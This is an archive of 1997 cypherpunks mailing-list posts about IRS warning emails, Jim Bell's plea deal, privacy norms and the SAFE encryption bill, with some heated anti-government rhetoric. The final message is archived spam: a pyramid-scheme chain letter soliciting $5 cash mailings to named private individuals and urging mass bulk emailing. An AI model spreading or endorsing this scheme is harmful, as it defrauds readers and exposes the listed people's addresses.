Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM9V78I9Co1n+aLhhAQF1RQP/aatXOe/qvgvJ+96hIxKv4tp8bwqOMhTg
nQZrWGbuyq/RTwmXguLjPXa3gHYmVrucBR/9i1DQZnDPalADFJ/TfZnLZrSQ8tdn
4nN/HqWFxT/DAwBCQdMpoZGQL5tYKFl3jr7sBdCcK2Xo++l0LoYacs5DUGHlDUxT
iirzH37Z3DY=
=DLMi
-----END PGP SIGNATURE-----






From nobody at REPLAY.COM  Tue Jul 22 23:01:11 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Wed, 23 Jul 1997 14:01:11 +0800
Subject: IRS sending warning notes, violating ECPA?
Message-ID: <199707230546.HAA20775@basement.replay.com>



Paul Bradley wrote:
> 
> > It certainly appears that the IRS has sent "warnings" out to all of us
> > active in the debate. 
> The way I see it there are two possible ways the motherfuckers got the
> addresses, either they found the lists Jim subscribed to and did "who
> cypherpunks" etc. to the servers, to get the list of participants, or
> they used any adresses off the mail jim has recieved in the past, I got a
> copy of it and I have privately emailed Jim several times so I can`t
> really say which is more likely.
> 
> If it is the second I am hereby giving Jim a public dresssing down for
> not encrypting the filesystem ;-)....

Paul,
  I spoke to the judge in the case and he has agreed that your
"dressing down" of Jim is a far more severe sentence than anything
he could impose, so he is turning Jim loose this afternoon.

  Seriously...
  Your comments reminded me why I read the PRZ's PGP manual/intro
every now and again to refresh my memory/paranoia about security
issues.
  Perhaps the hardest part of maintaining secure communications and
personal privacy is remembering that, no matter how tight you run your
own ship, you are, to a certain extent, "married" to the people with
whom you communicate. And, to use an AIDS analogy, you are also
"married" to everyone they have slept with.
  Perhaps you would trust "mom" with your life. However, what if the
ever-present "they" threatened to kill all of her other children 
unless she ratted you out? The answer to this question doesn't matter
if you have used cryptography and/or anonymity in a manner that doesn't
leave you vulnerable to anyone else.

  Even if mom would never 'rat you out' under any circumstances, does
she have the knowledge and discipline needed to keep "them" from being
able to access your communications with her?
  The bottom line is that one should "err" on the side of safety. Being
_too_ paranoid is less costly than not being paranoid enough.
  Tim May's rants are not done in ignorance. He understands the legal
differences between saying "The criminals in D.C. _should_ be nuked.",
and saying, "I _am_going_to_ nuke the criminals in D.C., someday."
(Friday, at 4 o'clock.)
  I am certain that Tim is well aware that, even if he is right about
his statements being Constitutionally protected free speech, there is 
always the chance that he could suffer grief or imprisonment for them(
quite simply because "the criminals" are getting more profecient at
subverting and destroying the rights protected by the Constitution).
  I am just as certain that Tim has made a conscious decision as to
what level of risk he is willing to take to speak his mind and perhaps
make a difference in the events of his time, without merely being
egoistical, stupid, and suicidal.

  Kent Crispin, when he's not being just plain ignorant, sometimes
manages to raise valid issues that serve as a counter-point to Tim's
views, but the bottom line is that, in the presence of two other
world-leaders who are privy to the mountains of information that is
kept hidden from the public by their governments, Jean Chretien,
the Prime Minister of Canada, openly stated that the politicians
in the U.S. would be imprisoned as criminals in most countries.
  It's true. Currently, Saskatchewan politicians are being
prosecuted for what would be considered "nickle and dime" matters
in the U.S. (e.g. <$1,000 wrongful use of expense accounts). In the
U.S., the S&L scandal involved _billions_ of dollars in fraud and
thievery and only a few of the really stupid bit-players got thrown
to the wolves.

  In short, when you communicate with anyone, it is your own
responsibility to limit the level of your future vulnerability.
If you think that it's OK to post a message to the list saying,
"I'm going to nuke D.C. on Friday, at 4 p.m. Shhh! Don't tell
anybody.", then go for it. (But keep in mind that some people
just can't keep a secret.)

TruthMonger







From nobody at REPLAY.COM  Tue Jul 22 23:13:28 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Wed, 23 Jul 1997 14:13:28 +0800
Subject: R.I.P Jim Bell
Message-ID: <199707230550.HAA21080@basement.replay.com>




Mike Duvos wrote the stuff appended to this post:

Mike,
  I found this post either really funny or really scary.
  Maybe both.

TruthMonger
-----------
> Duncan Frissell  writes:
> 
>  > I'll be curious to see what kind of deal he got.  It had
>  > better be an awfully good one (say "time served").  If not
>  > he was as dumb as toast.
> 
> Let's hope it was not the "8 years" I heard on the evening news,
> although I didn't catch whether that was just a possible
> sentence, or the results of the plea bargain negotiations.
> 
>  > He had a perfect chance to rake the Feds over the
>  > coals and try nasty disfavored defenses like
>  > Selective Prosecution.  Hard to win that one but
>  > he had as good a case as any one I've seen for
>  > that defense.  At the most, he would have gotten a
>  > short sentence if convicted.  Big deal.
> 
> Perhaps.  But he would have been tried in the media, and would
> probably have been transformed into "Terrorist Jim Bell" at the
> hands of the spin masters.  In the end, even if he won in court,
> he would have been about as popular as OJ, and the entire
> population of America would have learned to live their lives in
> constant fear of smelly organic chemicals and nickel-plated
> carbon fibers. Parents would be mail-ordering carbon fiber test
> kits to use in their childrens' rooms.
> 
>  > Since he was apparently not doing a great deal with his
>  > life in any case, he could have used it for some good.  Make
>  > the Feds spend hundreds of thousands of dollars on him and
>  > tie up their resources.
> 
> I would certainly try to make any such harrassment of me as
> expensive as possible for those engaging in it.  On the other
> hand, Bell does have living relatives, which makes unilateral
> nose-thumbing at the state apparatus more risky.
> 
>  > Prison is no punishment for those who like to read and write.
> 
> Being bossed around by assholes is always annoying, regardless of
> ones academic interests.
> 
>  > In these political cases where the Feds are clearly
>  > overreaching, those who don't plead do much better than
>  > those who do.  This is the reverse of the situation in
>  > normal criminal cases.
> 
> Tell that to Robert "ream me again, please" Thomas of Amateur
> Action BBS fame, who wasn't even accused of being a potential
> terrorist, much less of trying to overthrow the entire
> government.
> 
>  > Don't plead in political cases.  It's stupid.
> 
> Don't plead in political cases like Steve Jackson Games, PROMIS,
> Operation Sun Devil, etc...  On the other hand, if you are
> accused of being one of the actual Four Horsemen, and the feds
> are holding press conferences on every channel with inflammatory
> voice-over editorials describing the alleged contents of your
> dwelling, some capitulation to the Barbarians may be necessary.
> 
> There are a number of adages which apply to this situation,
> amongst them...
> 
>     Don't get involved in fights you can't win.
> 
>     When you aim for the King, shoot to kill.
> 
>     The goal of war is not to die for your country, but to make
>     sure the enemy dies for theirs.
> 
>     etc...
> 
> Enumerating Bell's violations of these common sense principles is
> left as an exercise to the reader.
> 
> --
>      Mike Duvos         $    PGP 2.6 Public Key available     $
>      enoch at zipcon.com   $    via Finger                       $
>          {Free Cypherpunk Political Prisoner Jim Bell}







From tcmay at got.net  Tue Jul 22 23:55:43 1997
From: tcmay at got.net (Tim May)
Date: Wed, 23 Jul 1997 14:55:43 +0800
Subject: IRS sending warning notes, violating ECPA?
In-Reply-To: <199707230546.HAA20775@basement.replay.com>
Message-ID: 



At 10:46 PM -0700 7/22/97, Anonymous wrote:

>  Perhaps the hardest part of maintaining secure communications and
>personal privacy is remembering that, no matter how tight you run your
>own ship, you are, to a certain extent, "married" to the people with
>whom you communicate. And, to use an AIDS analogy, you are also
>"married" to everyone they have slept with.

I really can't agree with this viewpoint. Insofar as _crypto_ goes, the
beauty of public key systems is that one shares _nothing_ with others. They
don't have your secret keys, and you don't have theirs.

It is true that their communications with you, or yours with them, may be
used against you. Maybe by them, maybe if their computers are stolen or
seized. But this is unavoidable with any communication system. Contact
tracking is often possible.

And crypto even allows for fully pseudonymous communication. Thus, if the
IRS and FBI seized Bell's computer and found communications through
remailers with "Pr0duct Cypher," his or her True Name, meatspace personna
would be safe.

>  The bottom line is that one should "err" on the side of safety. Being
>_too_ paranoid is less costly than not being paranoid enough.
>  Tim May's rants are not done in ignorance. He understands the legal
>differences between saying "The criminals in D.C. _should_ be nuked.",
>and saying, "I _am_going_to_ nuke the criminals in D.C., someday."
>(Friday, at 4 o'clock.)
>  I am certain that Tim is well aware that, even if he is right about
>his statements being Constitutionally protected free speech, there is
>always the chance that he could suffer grief or imprisonment for them(
>quite simply because "the criminals" are getting more profecient at
>subverting and destroying the rights protected by the Constitution).
>  I am just as certain that Tim has made a conscious decision as to
>what level of risk he is willing to take to speak his mind and perhaps
>make a difference in the events of his time, without merely being
>egoistical, stupid, and suicidal.

If I wanted to be "safe" and "secure," I'd just stay silent like a good
little sheeple. I'd get off this list, I'd cluck appropriately at those
darned cypher-terrorists, and I'd volunteer some time at the local
Demopublican Party machine.

All of us on this list, except the plants and shills, are risking a certain
amount. (Several corporate types have sent me e-mail saying that now that
they are in positions of respectability within their corporations, they can
no longer say what's on their mind, for fear of repercussions of various
sorts, however mild.)

Speaking out is what separates us from sheeple.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From frantz at netcom.com  Wed Jul 23 00:27:20 1997
From: frantz at netcom.com (Bill Frantz)
Date: Wed, 23 Jul 1997 15:27:20 +0800
Subject: Privacy: Law, Custom, and Technology
In-Reply-To: 
Message-ID: 



At 8:52 AM -0700 7/22/97, Unprivileged user wrote:
>Custom is determined by evolution, not by specification.  And that cannot
>be accelerated, and will be a problem until everyone has been on the net
>long enough to establish a common set of manners.  How much information
>does someone retain?  Enough so that a web page presents your desired
>configuration without having to retype it?  Should they pass this on to a
>sister site?  A different company?

I'm not sure I agree that the evolution of custom can not be accelerated.
If we actively discuss the proper limits to use of private information, are
we not accelerating the development of consensus about what are reasonable
policies.  It is precisely the lack of such discussion, and the lack of
trust that accompanies it that leaves us in the situation we find ourselves
in; between the well defined Netiquette of the ARPANET days, and whatever
our commercial net will evolve.

There are a lot of choices.  For example:

(1) Don't remember anything about me as an individual.
(2) Don't share any individual data.
(3) Feel free to share, but leave my name off.
(4) Sell the data, but give me a piece of the action.

I can imagine that any of these will be acceptable to some people.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz at netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA







From tcmay at got.net  Wed Jul 23 00:56:47 1997
From: tcmay at got.net (Tim May)
Date: Wed, 23 Jul 1997 15:56:47 +0800
Subject: Privacy: Law, Custom, and Technology
In-Reply-To: <97Jul22.115025edt.32258@brickwall.ceddec.com>
Message-ID: 



At 12:22 AM -0700 7/23/97, Bill Frantz wrote:

>I'm not sure I agree that the evolution of custom can not be accelerated.
>If we actively discuss the proper limits to use of private information, are
>we not accelerating the development of consensus about what are reasonable
>policies.  It is precisely the lack of such discussion, and the lack of
>trust that accompanies it that leaves us in the situation we find ourselves
>in; between the well defined Netiquette of the ARPANET days, and whatever
>our commercial net will evolve.
>
>There are a lot of choices.  For example:
>
>(1) Don't remember anything about me as an individual.
>(2) Don't share any individual data.
>(3) Feel free to share, but leave my name off.
>(4) Sell the data, but give me a piece of the action.
>
>I can imagine that any of these will be acceptable to some people.

But these "agreements" have two sides.

None of the four choices you list are of any interest to me, for example,
and whether you find them acceptable is of no interest to me.

(I am not trying to be rude to Bill, just making the point forcefully that
I don't particularly care that these four choices are acceptable to "some
people.")

I of course remember _lots_ of things about people, I share those memories
on occasion (without requesting permission), I mention names, and I
certainly don't recall every giving one of the subjects of my memories a
cut of the action.

In a free society, it is not possible or acceptable to control what others
remember or gossip about. Or even sell commercially.

"Custom" only applies to those who adopt the custom--the "law" is for
everyone else. The question is: do we have a law demanding that people not
remember certain things, or not gossip about what they've observed? I think
even a totalitarian society will have well-known problems enforcing such
laws.

I'd've thought this obvious, but Bill's post makes me wonder.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From declan at well.com  Wed Jul 23 01:13:46 1997
From: declan at well.com (Declan McCullagh)
Date: Wed, 23 Jul 1997 16:13:46 +0800
Subject: House crypto-vote echoes classified briefing (plus: COWS!)
Message-ID: 





---------- Forwarded message ----------
Date: Wed, 23 Jul 1997 00:43:48 -0700 (PDT)
From: Declan McCullagh 
To: fight-censorship-announce at vorlon.mit.edu
Subject: House crypto-vote echoes classified briefing (plus: COWS!)

Another House panel approved the SAFE encryption bill
Tuesday afternoon after a tense debate, capped by the
surprise testimony of a phalanx of law enforcement lobbyists
who appeared at what was scheduled to be a straightforward
vote.

The International Relations committee rejected 22-13 an
amendment that would gut the generally pro-crypto measure
by returning complete control over crypto-exports to the
president, then passed the SAFE bill unchanged.

In the process, the committee replayed an off-the-record
debate that took place on June 26 at a classified briefing
in the Capitol. The 64-page transcript of last month's
hearing, now redacted and declassified, reveals the same
tension between law enforcement and national security
lobbyists and two SAFE backers: Rep. Bob Goodlatte (R-Va)
and Rep. Lofgren (D-Ca).

Much of the talk at the classified briefing centered around
how to coerce Americans -- and more importantly, high tech
firms -- to adopt and use a "key recovery infrastructure"
that would allow the government to have ready access to the
secret keys used for encryption and decryption. Bill
Reinsch, Commerce Department undersecretary, said, "The
question is, how do we get there? We were trying to get
there through export controls. That may or may not be the
best way. Arguably import control might be the better way,
but nobody wants to do import controls, and they are off
the map."

Rep. Howard Berman (D-Ca) suggested banning unapproved
encryption altogether: "Why don't you treat it like heroin
or something?" Replied FBI Director Louis Freeh: "Within
the administration there have been long and not harmonious
discussions about what approach is more requisite. The law
enforcement components perhaps have more immediate view,
and that debate is pretty much over within the
administration..."

Then Reinsch complained that Microsoft wasn't playing ball
with the administration: "They appear not to believe that
key recovery is the way of the future." (I don't make this
stuff up, folks.)

He wasn't the only one to sound an Orwellian note. The
NSA's Crowell said, "There is a need for an instrument,
just like the FCC has. When you get a garage door opener,
it is licensed so you will not turn on your neighbor's TV
with the garage door opener. There is a need for a
licensing process
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx."

The rest of his statement is gone from the transcript,
crossed out by the thick, eager pens of government
censors. This is why reading redacted documents is
always a nerve-wracking experience: you feel like you're
being teased with not enough information.

That also happened this afternoon. I've never seen
lobbyists as nervous as they were today before the
International Relations committee met for the SAFE vote.
Everyone expected the chair of the committee, Rep. Benjamin
Gilman (R-NY), to introduce amendments that would tilt the
bill to favor national security, but how would they be
phrased? Nobody knew. Why was the hearing postponed three
times -- was it official House business, or last-minute
deal-cutting? And why was Clipper Chip proponent James
Kallstrom, assistant director of the FBI, sitting in the
front row -- would he testify as an unscheduled
administration expert?

In the end, of course law enforcement and national security
advocates launched a full-court press -- and lost. Gilman,
the committee chair, introduced an amendment that would gut
the generally pro-crypto SAFE bill by returning complete
control over crypto-exports to the president. Industry
groups and civil libertarians denounced it (correctly) as
nullifying SAFE. It would be just as bad, and arguably
worse, than Congress not passing any bill in the first
place. Worse yet, they said, Gilman cloaked his amendment
in "national security" language that would appeal to
members of his committee who are used to approving such
measures.

Then there were the cows. Again, I'm not making this up.
Apparently if a cow is out of the barn, it no longer makes
sense to shut the barn door to prevent any more cows from
leaving. (I can't attest to this personally. Perhaps
cows have an inherent sense of occasion.) "Do we open the
doors to let all the cows out?" asked one committee member.
The FBI's Kallstrom rebutted: "There are many, many still
left inside the barn." No, said Lofgren. "The cows are
tromping all over America. Cows can replicate. They're
being born all over the world. There's plenty of beef
available!"

SAFE now moves to three more committees simultaneously:
Commerce, National Security, and Intelligence, which have
until early September to vote on the bill. Since the
Clinton administration lobbyists met with a bitter defeat
in the International Relations committee, expect them to
use the August recess to redouble their lobbying attempts.
They may concentrate hardest on House Rules committee
members, who will be tasked with reconciling any
amendments to SAFE.

Yet even after today's vote, the overall encryption outlook
in Congress remains dismal. SAFE's companion bill in the Senate,
ProCODE, is dead and gutted. It's been replaced with the
McCain-Kerrey bill, which is pro-key escrow legislation
that the administration supports. And, most importantly,
the president has said he'll veto any pro-crypto bill that
comes across his desk...

---

Gilman's amendment offered today:
	
	NATIONAL SECURITY EXCEPTION -- Notwithstanding any other
	provision of this subsection, the President shall have
	the authority to regulate, including through the approval
	or denial of licenses or other means deemed appropriate,
	the export or reexport of encryption items, including
	hardware and software with encryption capabilities, if
	the President find that the export of such items would
	adversely affect the national security. National security
	shall include, but not be limited to, the ability of law
	enforcement agencies, including Federal, State, and local
	agencies, to combat espionage, terrorism, illicit drugs,
	kidnapping, or other criminal acts, or otherwise would
	involve the potential for loss of human life.

---

Excerpt from Secretary of Defense William Cohen's letter to
Congress, dated July 21, 1997:	

	It is also important to note that the Department of Defense
	relies on the Federal Bureau of Investigation for the
	apprehension and prosecution of spies. Sadly, there have
	been over 60 espionage convictions of federal employees
	over the last decade. While these individuals represent
	a tiny minority of government employees, the impact of
	espionage activities on our nation's security can be
	enormous. As the recent arrests of Nicholson, Pitts, and
	Kim clearly indicate, espionage remains a very serious
	problem. Any policies that detract from the FBI's ability
	to perform its vital counterintelligence function,
	including the ability to perform wiretaps, inevitably
	detract from the security of the Department of Defense
	and the nation...

	Encryption legislation must also address the nation's
	domestic information security needs. Today, approximately
	95% of DoD communications rely on public networks; other
	parts of government, and industry, are even more
	dependent on the trustworthiness of such networks.
	Clearly, we must ensure that encryption legislation
	addresses these needs. An approach such as the one
	contained in S.909 can go a long way toward balancing the
	need for strong encryption with the need to preserve
	national security and public safety. I hope that you will
	work with the Administration to enact legislation that
	addresses these national security concerns as well as the
	rights of the American people...

---

More info:

  http://pathfinder.com/netly/opinion/0,1042,1022,00.html

  http://pathfinder.com/netly/editorial/0,1012,931,00.html

  http://www.jya.com/declan3.txt

  http://www.jya.com/declan2.txt

  http://www.jya.com/declan1.txt

  http://www.well.com/~declan/fc/

###









From kent at songbird.com  Wed Jul 23 01:20:47 1997
From: kent at songbird.com (Kent Crispin)
Date: Wed, 23 Jul 1997 16:20:47 +0800
Subject: IRS sending warning notes, violating ECPA?
In-Reply-To: <199707230546.HAA20775@basement.replay.com>
Message-ID: <19970723010939.51681@bywater.songbird.com>



On Tue, Jul 22, 1997 at 11:54:39PM -0700, Tim May wrote:
> At 10:46 PM -0700 7/22/97, Anonymous wrote:
[...]
> >  Tim May's rants are not done in ignorance. He understands the legal
> >differences between saying "The criminals in D.C. _should_ be nuked.",
> >and saying, "I _am_going_to_ nuke the criminals in D.C., someday."
> >(Friday, at 4 o'clock.)
[...]
> >  I am just as certain that Tim has made a conscious decision as to
> >what level of risk he is willing to take to speak his mind and perhaps
> >make a difference in the events of his time, without merely being
> >egoistical, stupid, and suicidal.
> 
> If I wanted to be "safe" and "secure," I'd just stay silent like a good
> little sheeple. I'd get off this list, I'd cluck appropriately at those
> darned cypher-terrorists, and I'd volunteer some time at the local
> Demopublican Party machine.
> 
> All of us on this list, except the plants and shills, are risking a certain
> amount. (Several corporate types have sent me e-mail saying that now that
> they are in positions of respectability within their corporations, they can
> no longer say what's on their mind, for fear of repercussions of various
> sorts, however mild.)
> 
> Speaking out is what separates us from sheeple.

Actually, nothing whatsoever separates Tim from sheeple.  

As anon clearly points out, Tim toes the line with his speech,
carefully avoiding saying anything that escapes constitutional
protection.  In fact he frequently sprinkles his posts with comments
pointing out that some outrageous thing he just said is
constitutionally protected. 

And Tim doesn't have to worry about an employer, unlike the "corporate
types" he mentions, but he (as he noted in a recent post) pays his
taxes like everyone else.  He said, as I recall, that he of course
didn't like paying, but essentially that it was too much trouble to
avoid it.  Tim sees the Man, and Tim knows who's boss.

Yes, Tim talks a brave talk.  But, though the parameters of his 
slavery are different than most of ours, he is part of the flock, 
nonetheless. 

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From jya at pipeline.com  Wed Jul 23 04:24:08 1997
From: jya at pipeline.com (John Young)
Date: Wed, 23 Jul 1997 19:24:08 +0800
Subject: DEATH TO TYRANTS
Message-ID: <1.5.4.32.19970723105319.006bc6dc@pop.pipeline.com>



Tim May wrote:

>By the way, I don't recall it being mentioned that [my] message from "IRS
>Inspection" had an interesting subject line: DEATH TO TYRANTS.


The six other headers received or forwarded here have the same subject: 
"Something of Interest."

Further, Tim's message is so far the earliest of the batch: 12:18 compared to 
the next at 12:25 which went to a mail list based in Norway. Others followed 
at about 1 minute intervals, the last at 12:33.

See the full headers at:

   http://jya.com/irs-header.txt

BTW, Declan, did you not once write that IRS offices are down the corridor
from yours? If so, would you care to ask the thieves their opinion of the spam,
especially if they are the authors, sneaking into your box and lifting lists
while 
you're sipping and baseballing with the brokers?

Cite me as inquring an CU-FU, if you prefer to keep reportorial distance. Write
up spam story, do, providing that you're up to snuff paying Crispin-bandit 
extortion.








From frissell at panix.com  Wed Jul 23 04:43:30 1997
From: frissell at panix.com (frissell at panix.com)
Date: Wed, 23 Jul 1997 19:43:30 +0800
Subject: R.I.P Jim Bell
In-Reply-To: <3.0.2.32.19970721145141.006b0038@panix.com>
Message-ID: <3.0.2.32.19970723071928.03d1d32c@panix.com>



-----BEGIN PGP SIGNED MESSAGE-----

At 03:03 PM 7/21/97 -0700, Mike Duvos wrote:

>Perhaps.  But he would have been tried in the media, and would
>probably have been transformed into "Terrorist Jim Bell" at the
>hands of the spin masters.  In the end, even if he won in court,
>he would have been about as popular as OJ, 

He would have had support among his counter cultural group (us).  He wasn't 
accused of very serious acts like OJ.

>Tell that to Robert "ream me again, please" Thomas of Amateur
>Action BBS fame, who wasn't even accused of being a potential
>terrorist, much less of trying to overthrow the entire
>government.

All the sedition cases of the last 60 years (2) have been lost by the Feds.  
Sedition is really hard to win (and of course JB wasn't accused of same).

>Don't plead in political cases like Steve Jackson Games, PROMIS,
>Operation Sun Devil, etc...  On the other hand, if you are
>accused of being one of the actual Four Horsemen, and the feds
>are holding press conferences on every channel with inflammatory
>voice-over editorials describing the alleged contents of your
>dwelling, some capitulation to the Barbarians may be necessary.

The "911 Document" prosecutions that grew out of Operation Sun Devil were for 
one of the Four Horsemen: terrorists.  Evil Hackers who would destroy the 911 
system.  There were lots of inflammatory statements from the prosecutors but 
they really bit it when forced to go to trial.

DCF

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM9XovoVO4r4sgSPhAQGTegP8CQIVLlAXW46MrtWQZbQPmLHaNROleY41
vHGXWuS5K8RYg3QCQbbzuz5xcarf8mOkvBChyn9ooE5uzWbVlcdrblUqb8Zh9CgI
Zfuv0xQp0lHh2MygvtxFhKE7DBk/0owaFoyYYfdPmkwtM93+ZsknxV756rMT5VWA
7LvLnqteUxw=
=TZFC
-----END PGP SIGNATURE-----






From jya at pipeline.com  Wed Jul 23 05:02:18 1997
From: jya at pipeline.com (John Young)
Date: Wed, 23 Jul 1997 20:02:18 +0800
Subject: Jim Bell Docket 3
Message-ID: <1.5.4.32.19970723114324.006a189c@pop.pipeline.com>



We've updated Jim Bell's court docket to show July 18 entries for
the plea agreement:

   http://jya.com/jimbell-dock2.htm

It lists a waiver of indictment, a plea agreement "filed under seal"
and a hearing for sentencing set for October 17.

Jim's remanded to jail until then, making a total of five months of time
served since arrest.

Consider that everyone in the case is supported by the tax-extortion Jim
was fighting. The Federal/Community Defender program is bribed at
$308,000,000 for FY 1998.

Keep up this self-serving banditry, you millions of members of Crispin's 
extortion-by-law-mil/gov big-gun-show world, and reap what you sow.







From 22762705 at 09872.com  Wed Jul 23 20:47:12 1997
From: 22762705 at 09872.com (22762705 at 09872.com)
Date: Wed, 23 Jul 1997 20:47:12 -0700 (PDT)
Subject: God Blessed Us and We're Sharing
Message-ID: <199702170025.GAA08056@mailcenter1.net>



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OVERVIEW OF THIS EXTRAORDINARY ELECTRONIC MULTI-LEVEL MARKETING PROGRAM

Basically, this is what we do:  We sell thousands of people a product for $5.00 that costs us next to nothing to produce and e-mail.  As with all multi-level businesses, we build  our business by recruiting new partners and selling our products.  Every state in the U.S. allows you to recruit new multi- level business online (with your computer).

The product in this program is a series of four businesses and financial reports.  Each $5.00 order you receive by "snail mail" will include the e-mail address of the sender.  To fill each order, you simply e-mail the product to the buyer.  THAT'S IT!...the $5.00 is yours!  This is the GREATEST electronic multi-level marketing business anywhere!

FOLLOW THE INSTRUCTIONS EXACTLY!
Let's face it, the profits are worth it!  THEY'RE TREMENDOUS!!!
So go for it.  Remember the 4 points and we'll see YOU at the top!


******* I N S T R U C T I O N S *******

This is what you MUST do:

1.  Order all 5 reports listed and numbered from the list below.
    For each report send $5.00 CASH, YOUR E-MAIL ADDRESS and S.A.S.E
    (Self addressed stamped envelope).  For international orders,
    please include extra postage (about $1.00) on the S.A.S.E as well.

    When you order, make sure you request each SPECIFIC report.  You
    will need all five reports, because you will be saving them on
    your computer and reselling them.

2.  IMPORTANT--DO NOT alter the names, or their sequence other than
    instructed in this program! Or you will not profit the way you
    should.

    Replace the name and address under REPORT #1 with yours, moving
    the one that was there down to REPORT #2.  Move the name and
    address under REPORT #2 to REPORT #3.  Move the name and address
    under REPORT #3 to REPORT #4.  Move the name and address under
    REPORT #4 to REPORT #5.  The name and address that was under
    REPORT #5 is dropped off the list and is NO DOUBT on the way to
    the bank.

    When doing this, please make certain you copy everyone's name
    and address ACCURATELY!!!  Also, DO NOT move the Report/Product
    positions!

3.  Take this entire program text, including the corrected names list,
    and save it on your computer.

4.  Now you're ready to start a massive advertising campaign on the
    WORLDWIDE WEB!  Advertising on the WEB is very, very inexpensive,
    but there are HUNDREDS of FREE places to advertise also.  Another
    avenue which you could use is e-mail mailing lists.  You can buy
    these lists for under $20/1,000 addresses.  START YOUR AD CAMPAIGN
    AS SOON AS YOU CAN.

ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!
 
                           REQUIRED REPORTS

***Order each REPORT by NUMBER and NAME***

ALWAYS SEND  $5 CASH (Concealed) FOR EACH ORDER REQUESTING THE SPECIFIC REPORT BY NAME AND NUMBER. ALWAYS SEND FIRST CLASS OR PRIORITY MAIL AND PROVIDE YOUR E-MAIL ADDRESS FOR QUICK DELIVERY.

 ________________________________________________________

 REPORT #1
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"

 ORDER REPORT #1 FROM:
 
 Erika Fittro
 PO Box 38212
 Germantown, TN  38183-0212
 ________________________________________________________
 
 REPORT #2
 "MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

 ORDER REPORT #2 FROM:

 Versatile Marketing
 PO Box 1126
 Coventry, RI  02816-0019
 ________________________________________________________
 
 REPORT#3
 "SOURCES FOR THE BEST MAILING LISTS"
 
 ORDER REPORT #3 FROM
 
 Mike Smith
 2576 Prince Rupert #4
 Memphis, TN   38128
  ________________________________________________________
 
 REPORT #4
 "EVALUATING MULTI-LEVEL SALES PLANS"
 
 ORDER REPORT #4 FROM:
 
 Bret James
 108 Windmill Cove
 Georgetown, TX  78628
 ________________________________________________________
 
 REPORT #5
 "Bulk Emailing"
 
 ORDER REPORT #5 FROM:
 
 Mike Smith
 107 Virgina
 Sturgis, MI 49091
 ________________________________________________________
________________________________________________________

HERE'S HOW THIS AMAZING PLAN WILL MAKE YOU $MONEY$

Let's say you decide to start small just to see how it goes.  Assume your goal is to get 10 people to participate on your first level.  (Placing a lot of FREE ads on the internet could EASILY get a better response.)  Also assume that everyone else in YOUR BUILDING ORGANIZATION gets ONLY 10 downline members.  Follow this example for the STAGGERING results below.

1st level -- 10 members with $5  ($5 x 10)                     $50
2nd level -- 10 members from those 10 ($5 x 100)              $500
3rd level -- 10 members from those 100 ($5 x 1,000)         $5,000
4th level -- 10 members from those 1,000 ($5 x 10,000)     $50,000

THIS TOTALS --> $55,550

Remember friends, this is assuming that the people who participate only recruit 10 people each.  Dare to think for a moment what would happen if everyone got 20 people to participate!  Some people get 100's of recruits!  THINK ABOUT IT!

By the way, your cost to participate in this is practically nothing.  You obviously already have an internet connection and email is FREE!!!  REPORT#3 will show you the best methods for bulk emailing and purchasing email lists.

REMEMBER:  Approx. 50,000 new people get online monthly!

ORDER YOUR REPORTS NOW!!!


*******TIPS FOR SUCCESS*******

TREAT THIS AS YOUR BUSINESS!  Send for the four reports IMMEDIATELY, so you will have them when the orders start coming in because: When you receive a $5 order, you MUST send out the requested product/report to comply with the U.S. Postal & Lottery Laws, Title 18, Sections 1302 and 1341 or Title 18, Section 3005 in the U.S. Code, also Code of Federal Regs. vol. 16, Sections 255 and 436, which state that "a product or service must be exchanged for money received."

*  ALWAYS PROVIDE SAME-DAY SERVICE ON THE ORDERS YOU RECEIVE.

*  Be patient and persistent with this program.  If you follow the instructions exactly the results WILL undoubtedly be SUCCESS!

*  ABOVE ALL, HAVE FAITH IN YOURSELF THAT YOU CAN SUCCEED!


*******YOUR SUCCESS GUIDELINE*******

The check point that guarantees your success is simply this:  You MUST receive 10 to 20 orders for REPORT #1!  THIS IS A MUST!  If you don't within two weeks, advertise more and send out more programs until you do.  Then, a couple of weeks later you should receive at least 100 orders for REPORT #2.  If you don't, advertise more and send out more programs until you do.  Once you have received 100, or more orders for REPORT #2, YOU CAN RELAX, because you will be on your way to the BANK!  -OR-  You can DOUBLE your efforts!

REMEMBER:  Every time your name is moved down on the list you are in front of a DIFFERENT report, so you can KEEP TRACK of your PROGRESS by what report people are ordering from you. IT'S THAT EASY!!!

NOTE:  IF YOU NEED HELP with starting a business, registering a business name, how income tax is handled, etc., contact your local office of the Small Business Administration (a Federal agency) for free help and answers to questions.  Also, the Internal Revenue Service offers free help via telephone and free seminars about business taxes.


******* T  E  S  T  I  M  O  N  I  A  L  S *******


